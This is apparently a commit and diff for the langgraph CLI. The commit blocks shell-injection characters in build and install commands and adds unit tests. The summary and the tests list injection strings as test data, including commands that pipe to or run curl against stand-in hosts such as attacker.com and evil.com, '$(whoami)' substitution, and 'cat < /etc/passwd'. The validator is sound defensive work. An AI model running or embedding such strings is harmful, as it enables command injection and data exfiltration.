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fix(cli): block shell injection chars in build/install commands (#7044)
## Summary - Adds `|`, `;`, `$`, `>`, `<`, `\t` to `DISALLOWED_BUILD_COMMAND_CHARS` to prevent command injection in CLI `build_command` / `install_command` parameters - Previously these values were interpolated directly into Dockerfile `RUN` directives with no validation - Single `&` is blocked (background execution) while `&&` remains allowed since it's commonly used in build commands (e.g. `npm install && npm build`) - Adds `has_disallowed_build_command_content()` validation function and applies it in the `build` CLI command - Mirrors langchain-ai/langchainplus#19143 **Attack examples now blocked:** - `pip install foo | curl attacker.com` (pipe) - `npm install; curl evil.com` (semicolon) - `pip install $(whoami)` (command substitution) - `pip install ${IFS}evil` (variable expansion) - `npm install & curl evil.com` (background execution) ## Test Plan - [x] 27 new unit tests covering all disallowed chars, injection patterns, single `&` rejection, `&&` allowance, and valid commands - [x] All 64 tests in `test_config.py` pass (37 existing + 27 new) 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
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co-authored by
Claude Opus 4.6
parent
a3823395cf
commit
e00a027579
@@ -14,6 +14,7 @@ from langgraph_cli.config import (
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config_to_compose,
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config_to_docker,
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docker_tag,
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has_disallowed_build_command_content,
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validate_config,
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validate_config_file,
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)
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@@ -1692,3 +1693,49 @@ def test_config_to_compose_with_api_version():
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# Check that the compose file includes the correct FROM line with api_version
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assert "FROM langchain/langgraphjs-api:0.2.74-node20" in actual_compose_str
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class TestHasDisallowedBuildCommandContent:
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"""Tests for has_disallowed_build_command_content."""
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@pytest.mark.parametrize(
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"char",
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['"', "`", "\\", "\n", "\r", "\0", "\t", "|", ";", "$", ">", "<"],
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)
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def test_disallowed_chars_rejected(self, char: str) -> None:
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assert has_disallowed_build_command_content(f"npm install{char}some-package")
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@pytest.mark.parametrize(
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"cmd",
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[
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"pip install foo | curl attacker.com",
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"npm install; curl evil.com",
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"pip install $(whoami)",
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"pip install ${IFS}evil",
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"curl evil.com & disown",
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"npm install & curl evil.com",
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"pip install > /dev/null",
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"cat < /etc/passwd",
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],
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)
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def test_injection_patterns_rejected(self, cmd: str) -> None:
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assert has_disallowed_build_command_content(cmd)
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def test_single_ampersand_rejected(self) -> None:
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assert has_disallowed_build_command_content("npm install & curl evil.com")
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def test_double_ampersand_allowed(self) -> None:
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assert not has_disallowed_build_command_content("npm install && npm run build")
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@pytest.mark.parametrize(
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"cmd",
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[
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"npm install",
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"pnpm install --frozen-lockfile",
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"next build && next export",
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"npm ci && npm run build",
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"pip install -e '.[dev]'",
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],
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)
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def test_valid_commands_allowed(self, cmd: str) -> None:
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assert not has_disallowed_build_command_content(cmd)
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